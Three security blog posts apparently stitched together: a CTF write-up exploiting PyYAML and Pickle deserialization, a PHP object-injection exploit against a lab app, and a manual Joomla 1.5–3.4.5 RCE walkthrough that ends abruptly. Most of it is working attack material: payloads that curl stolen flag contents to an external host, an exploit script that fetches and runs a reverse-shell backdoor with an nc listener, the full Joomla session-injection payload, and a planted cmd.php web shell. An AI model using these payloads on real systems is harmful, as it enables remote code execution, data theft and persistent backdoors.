Exploiting Python Deserialization Vulnerabilities

Over the weekend, I had a chance to participate in the ToorConCTF (https://twitter.com/toorconctf) which gave me my first experience with serialization flaws in Python. Two of the challenges we solved included Python libraries that appeared to be accepting serialized objects and ended up being vulnerable to Remote Code Execution (RCE). Since I struggled a bit to find reference material online on the subject, I decided to make a blog post documenting my discoveries, exploit code and solutions. In this blog post, I will cover how to exploit deserialization vulnerabilities in the PyYAML (a Python YAML library) and Python Pickle libraries (a Python serialization library). Let’s get started!

Background


Before diving into the challenges, it’s probably important to start with the basics. If you are unfamilliar with deserialization vulnerabilities, the following exert from @breenmachine at Fox Glove Security (https://foxglovesecurity.com) probably explains it the best.

“Unserialize vulnerabilities are a vulnerability class. Most programming languages provide built-in ways for users to output application data to disk or stream it over the network. The process of converting application data to another format (usually binary) suitable for transportation is called serialization. The process of reading data back in after it has been serialized is called unserialization. Vulnerabilities arise when developers write code that accepts serialized data from users and attempt to unserialize it for use in the program. Depending on the language, this can lead to all sorts of consequences, but most interesting, and the one we will talk about here is remote code execution.”

PyYAML Deserialization Remote Code Execution


In the first challenge, we were presented with a URL to a web page which included a YAML document upload form. After Googling for YAML document examples, I crafted the following YAML file and proceeded to upload it to get a feel for the functionality of the form.

HTTP Request


POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 857

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml

---
# A list of global configuration variables
# # Uncomment lines as needed to edit default settings.
# # Note this only works for settings with default values. Some commands like --rerun <module>
# # or --force-ccd n will have to be set in the command line (if you need to)
#
# # This line is really important to set up properly
# project_path: '/home/user'
#
# # The rest of the settings will default to the values set unless you uncomment and change them
# #resize_to: 2048
'test'
-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"


-----------------------------200783363553063815533894329--

HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Sun, 03 Sep 2017 02:50:16 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2213
Set-Cookie: session=; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/

<!-- begin message block -->
<div class="container flashed-messages">
  <div class="row">
    <div class="col-md-12">
      <div class="alert alert-info" role="alert">

        test.yaml is valid YAML
      </div>
    </div>
  </div>
</div>
<!-- end message block -->

    </div>

</div>

  <div class="container main" >
    <div class="row">
        <div class="col-md-12 main">
            
  <code></code>

As you can see, the document was uploaded successfully but only displayed whether the upload was a valid YAML document or not. At this point, I wasn’t sure exactly what I was supposed to do, but after looking more closely at the response, I noticed that the server was running gunicorn/19.7.1…

A quick search for gunicorn revealed that it is a Python web server which lead me to believe the YAML parser was in fact a Python library. From here, I decided to search for Python YAML vulnerabilities and discovered a few blog posts referencing PyYAML deserialization flaws. It was here that I came across the following exploit code for exploiting PyYAML deserialization vulnerabilities. The important thing here is the following code which runs the ‘ls’ command if the application is vulnerable to PyYaml deserialization:


!!map {
  ? !!str "goodbye"
  : !!python/object/apply:subprocess.check_output [
    !!str "ls",
  ],
}

Going blind into the exploitation phase, I decided to give it a try and inject the payload into the document contents being uploaded using Burpsuite…

HTTP Request


POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 445

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml

---
!!map {
  ? !!str "goodbye"
  : !!python/object/apply:subprocess.check_output [
    !!str "ls",
  ],
}

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"


-----------------------------200783363553063815533894329--

<ul><li><code>goodbye</code> : <code>Dockerfile
README.md
app.py
app.pyc
bin
boot
dev
docker-compose.yml
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
requirements.txt
root
run
sbin
srv
static
sys
templates
test.py
tmp
usr
var
</code></li></ul>

As you can see, the payload worked and we now have code execution on the target server! Now, all we need to do is read the flag.txt…

I quickly discovered a limitaton of the above method was strictly limited to single commands (ie. ls, whoami, etc.) which meant there was no way to read the flag using this method. I then discovered that the os.system Python call could also be to achieve RCE and was capable of running multiple commands inline. However, I was quickly disasspointed after trying this and seeing that the result just returned “0” and I could not see my command output. After struggling to find the solution, my teamate @n0j pointed out that the os.system [“command_here” ] only returns a “0” exit code if the command is successful and is blind due to how Python handles sub process execution. It was here that I tried injecting the following command to read the flag: curl https://xerosecurity.com/?`cat flag.txt`

HTTP Request


POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 438

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml

---
"goodbye": !!python/object/apply:os.system ["curl https://xerosecurity.com/?`cat flag.txt`"]

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"


-----------------------------200783363553063815533894329--


</div>

  <div class="container main" >
    <div class="row">
        <div class="col-md-12 main">
            
  <ul><li><code>goodbye</code> : <code>0</code></li></ul>
            
        </div>
    </div>
  </div>

After much trial and error, the flag was ours along with 250pts in the CTF!

Remote Apache Logs


34.214.16.74 - - [02/Sep/2017:21:12:11 -0700] "GET /?ItsCaptainCrunchThatsZeldasFavorite HTTP/1.1" 200 1937 "-" "curl/7.38.0"

 

Python Pickle Deserialization


In the next CTF challenge, we were provided a host and port to connect to (ganon.39586ebba722e94b.ctf.land:8000). After initial connection however, no noticable output was displayed so I proceeded to fuzz the open port with random characters and HTTP requests to see what happened. It wasn’t until I tried injecting a single “‘” charecter that I received the error below:


# nc -v ganon.39586ebba722e94b.ctf.land 8000
ec2-34-214-16-74.us-west-2.compute.amazonaws.com [34.214.16.74] 8000 (?) open
cexceptions
AttributeError
p0
(S"Unpickler instance has no attribute 'persistent_load'"
p1
tp2
Rp3
.

The thing that stood out most was the (S”Unpickler instance has no attribute ‘persistent_load'” portion of the output. I immediately searched Google for the error which revealed several references to Python’s serialization library called “Pickle”.

It soon became clear that this was likely another Python deserialization flaw in order to obtain the flag. I then searched Google for “Python Pickle deserialization exploits” and discovered a similar PoC to the code below. After tinkering with the code a bit, I had a working exploit that would send Pickle serialized objects to the target server with the commands of my choice.

Exploit Code


#!/usr/bin/python
# Python Pickle De-serialization Exploit by [email protected] - https://xerosecurity.com
#

import os
import cPickle
import socket
import os

# Exploit that we want the target to unpickle
class Exploit(object):
    def __reduce__(self):
        # Note: this will only list files in your directory.
        # It is a proof of concept.
        return (os.system, ('curl https://xerosecurity.com/.injectx/rce.txt?`cat flag.txt`',))

def serialize_exploit():
    shellcode = cPickle.dumps(Exploit())
    return shellcode

def insecure_deserialize(exploit_code):
    cPickle.loads(exploit_code)

if __name__ == '__main__':
    shellcode = serialize_exploit()
    print shellcode

    soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    soc.connect(("ganon.39586ebba722e94b.ctf.land", 8000))
    print soc.recv(1024)

    soc.send(shellcode)
    print soc.recv(1024)
    soc.close()
Exploit PoC


# python python_pickle_poc.py
cposix
system
p1
(S"curl https://xerosecurity.com/rce.txt?`cat flag.txt`"
p2
tp3
Rp4
.

Much to my surprise, this worked and I could see the contents of the flag in my Apache logs!

Remote Apache Logs


34.214.16.74 - - [03/Sep/2017:11:15:02 -0700] "GET /rce.txt?UsuallyLinkPrefersFrostedFlakes HTTP/1.1" 404 2102 "-" "curl/7.38.0"

Conclusion


So there you have it. Two practicle examples of Python serialization which can be used to obtain Remote Code Execution (RCE) in remote applications. I had a lot of fun competing in the CTF and learned a lot in the process, but due to other obligations time constraints I wasn’t able to put my entire focus into the CTF. In the end, our team “SavageSubmarine” placed 7th overall. Till next time…

-1N3

 

Exploiting PHP Serialization/Object Injection Vulnerabilities

This is a short blog post on exploiting PHP Serialization/Object Injection vulnerabilities in order to gain remote shell access to the host. For more information on PHP serialization, go here: https://www.owasp.org/index.php/PHP_Object_Injection. If you would like to test this yourself, there are some great resources available, such as: XVWA (https://github.com/s4n7h0/xvwa) and Kevgir (https://canyoupwn.me/kevgir-vulnerable-vm/).

Detect

The first step in the exploitation process is to detect the presence of PHP serialization in the application we are testing. To assist, we can use SuperSerial for Burpsuite which can be downloaded here: https://www.directdefense.com/superserial-java-deserialization-burp-extension/ (see below). This will passively detect the presence of PHP and Java serialization in the application we’re testing.

Analyze

Now that we’ve detected PHP serialization in the application, we can confirm if remote code execution is possible by analyzing the source code for the application (if available…). As seen below, the important thing to note is that serialized objects are taken from the “r” parameter ($var1=unserialize($_REQUEST[‘r’]);) and unserialized and eval’ed (eval($this->inject);), then displayed via (echo “< br/>”.$var1[0].” – “.$var1[1];). Given this, code execution appears to be possible if we pass PHP serialized objects to the “r” parameter! 🙂

< ?php 
    error_reporting(E_ALL);
    class PHPObjectInjection{
        public $inject;

        function __construct(){

        }

        function __wakeup(){
            if(isset($this->inject)){
                eval($this->inject);
            }
        }
    }
//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
    if(isset($_REQUEST['r'])){  

        $var1=unserialize($_REQUEST['r']);
        

        if(is_array($var1)){ 
            echo "
".$var1[0]." - ".$var1[1];
        }
    }else{
        echo "parameter is missing";
    }
? >

Exploit

To exploit this flaw, we can create a simple PHP script to generate our PHP serialized payload automatically and run whatever commands we want on the remote host. In this case, I chose to create a versatile reverse shell via PHP using this script (http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz). NOTE: You will need to host this file on your web server and update the local IP and port in the reverse shell script as well as update the below exploit code to point to your server…

< ?php 
/*
PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://xerosecurity.com

A simple PoC to exploit PHP Object Injections flaws and gain remote shell access. 

Shouts to @jstnkndy @yappare for the assist!

NOTE: This requires http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz setup on a remote host with a connect back IP configured
*/

print "==============================================================================\r\n";
print "PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://xerosecurity.com\r\n";
print "==============================================================================\r\n";
print "[+] Generating serialized payload...[OK]\r\n";
print "[+] Launching reverse listener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp 1234\'');

class PHPObjectInjection
{
   // CHANGE URL/FILENAME TO MATCH YOUR SETUP
   public $inject = "system('wget http://yourhost/phpobjbackdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
}

$url = 'http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TO TARGET URL/PARAMETER
$url = $url . urlencode(serialize(new PHPObjectInjection));
print "[+] Sending exploit...[OK]\r\n";
print "[+] Dropping down to interactive shell...[OK]\r\n";
print "==============================================================================\r\n";
$response = file_get_contents("$url");

? >

Demo

Now that our exploit is ready, we can execute it to get a nice reverse shell on the remote host for full remote command execution! Shout to @jstnkndy @yappare for the assist! -1N3

Exploiting Joomla Remote Code Execution The Hard Way!


After hearing about the latest Jooma RCE vulnerability which affects Joomla 1.5 – 3.4.5, I decided to do some research to try to understand how this vulnerability actually works. After many failed attempts, lots of confusion and frustration, I beat the urge to give up and was finally able to setup a test VM and exploit the vulnerability using a manual/custom approach (no pre-built exploits). My results are below for educational purposes only.

WHAT’S REQUIRED?

  1. A vulnerable version of Joomla from 1.5.0 to 3.4.5
  2. A vulnerable version of PHP before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.

INJECTING SESSION PAYLOAD

REQUEST #1:

GET /joomla/ HTTP/1.1
Host: 192.168.1.100
USER-AGENT: YHWEX}__YHWEXYHWEX|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:71:"eval(base64_decode($_SERVER['HTTP_YHWEX']));JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ýýý
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

RAW PAYLOAD:

s:71:"eval(base64_decode($_SERVER['HTTP_YHWEX']));JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ýýý

PAYLOAD ANALYSIS:

  1. s:71 value specifies length of payload
  2. eval(base64_decode($_SERVER[‘HTTP_YHWEX’])); – executes base64 encoded PHP commands sent to the HTTP_YHWEX header
  3. ýýý – UTF-8 characters required to truncate input in session table

RESPONSE #1:

HTTP/1.1 200 OK
Date: Wed, 23 Dec 2015 14:57:52 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.13
Set-Cookie: 75bc5a9af0cdeadbe58f55e3d9fe15ab=464rb7iho63i5goftgedr1q936; path=/; HttpOnly
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Wed, 23 Dec 2015 14:57:52 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 6167
Content-Type: text/html; charset=utf-8

* The important thing here is the session cookie value. This is required to retrieve our session in order to execute our payload:

Set-Cookie: 75bc5a9af0cdeadbe58f55e3d9fe15ab=464rb7iho63i5goftgedr1q936; path=/; HttpOnly

BLIND EXECUTION OF SESSION PAYLOAD

REQUEST #2:

GET /joomla/ HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: 75bc5a9af0cdeadbe58f55e3d9fe15ab=464rb7iho63i5goftgedr1q936;
YHWEX: c3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xOTIuMTY4LjEuMTQ1Ly50ZXN0aW5nL2NtZC50eHQgLU8gL3Zhci93d3cvam9vbWxhL2NtZC5waHAiKTs=
Content-Type: text/html
Content-Length: 0

* Notice the addition of the session cookie and custom HTTP header with our base64 encoded PHP payload PHP PAYLOAD

Cookie: 75bc5a9af0cdeadbe58f55e3d9fe15ab=464rb7iho63i5goftgedr1q936;
YHWEX: c3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xOTIuMTY4LjEuMTQ1Ly50ZXN0aW5nL2NtZC50eHQgLU8gL3Zhci93d3cvam9vbWxhL2NtZC5waHAiKTs=

BASE64 DECODED PAYLOAD:

system("wget http://192.168.1.145/.testing/cmd.txt -O /var/www/joomla/cmd.php");

CMD.PHP RAW CODE:

< FORM METHOD="GET" NAME="myform" ACTION="">
< INPUT TYPE="text" NAME="cmd">
< INPUT TYPE="submit" VALUE="Send">
< /FORM>
< ?
if($_GET['cmd']) {
  system($_GET['cmd']);
  }
? >

COMMAND EXECUTION

REQUEST #3:

GET /joomla/cmd.php?cmd=ls+-lh HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: 75bc5a9af0cdeadbe58f55e3d9fe15ab=lm3tc59u78esl0fq93cn130np2;
YHWEX: c3lzdGVtKCdlY2hvICc8P3BocCBzeXN0ZW0oJF9HRVRbY21kXSk7ID8+JyA+IC92YXIvd3d3L2pvb21sYS9jbWQucGhwJyk7
Content-Type: text/html
Content-Length: 0

RESPONSE #3:

HTTP/1.1 200 OK
Date: Wed, 23 Dec 2015 14:59:01 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.13
Vary: Accept-Encoding
Content-Length: 1800
Content-Type: text/html

< HTML>< BODY>
< FORM METHOD="GET" NAME="myform" ACTION="">
< INPUT TYPE="text" NAME="cmd">
< INPUT TYPE="submit" VALUE="Send">
< /FORM>
total 128K
-rwxrwxrwx  1 www-data www-data  18K Oct 22 05:48 LICENSE.txt
-rwxrwxrwx  1 www-data www-data 4.2K Oct 22 05:48 README.txt
drwxrwxrwx 10 www-data www-data 4.0K Oct 22 05:48 administrator
drwxrwxrwx  2 www-data www-data 4.0K Oct 22 05:48 bin
drwxrwxrwx  2 www-data www-data 4.0K Oct 22 05:48 cache
drwxrwxrwx  2 www-data www-data 4.0K Oct 22 05:48 cli
-rw-r--r--  1 www-data www-data  345 Aug 10 01:57 cmd.php
drwxrwxrwx 16 www-data www-data 4.0K Oct 22 05:48 components
-rwxrwxrwx  1 www-data www-data 1.8K Dec 17 10:53 configuration.php
-rwxrwxrwx  1 www-data www-data 2.9K Oct 22 05:48 htaccess.txt
drwxrwxrwx  5 www-data www-data 4.0K Oct 22 05:48 images
drwxrwxrwx  2 www-data www-data 4.0K Oct 22 05:48 includes
-rwxrwxrwx  1 www-data www-data 1.2K Dec 17 11:13 index.php
-rw-r--r--  1 www-data www-data  106 Dec 23 20:29 joomla_rce.sh
-rwxrwxrwx  1 root     root       94 Dec 22 19:33 joomlatest.php
drwxrwxrwx  4 www-data www-data 4.0K Oct 22 05:48 language
drwxrwxrwx  5 www-data www-data 4.0K Oct 22 05:48 layouts
drwxrwxrwx 11 www-data www-data 4.0K Oct 22 05:48 libraries
drwxrwxrwx  2 www-data www-data 4.0K Dec 22 19:38 logs
drwxrwxrwx 18 www-data www-data 4.0K Oct 22 05:48 media
drwxrwxrwx 27 www-data www-data 4.0K Oct 22 05:48 modules
drwxrwxrwx 14 www-data www-data 4.0K Oct 22 05:48 plugins
-rwxrwxrwx  1 www-data www-data  842 Oct 22 05:48 robots.txt
drwxrwxrwx  5 www-data www-data 4.0K Oct 22 05:48 templates
drwxrwxrwx  2 www-data www-data 4.0K Oct 22 05:48 tmp
-rwxrwxrwx  1 www-data www-data 1.7K Oct 22 05:48 web.config.txt
-rw-r--r--  1 www-data www-data 1.5K Oct  7 05:17 weevely_shell.php

MORAL OF THE STORY?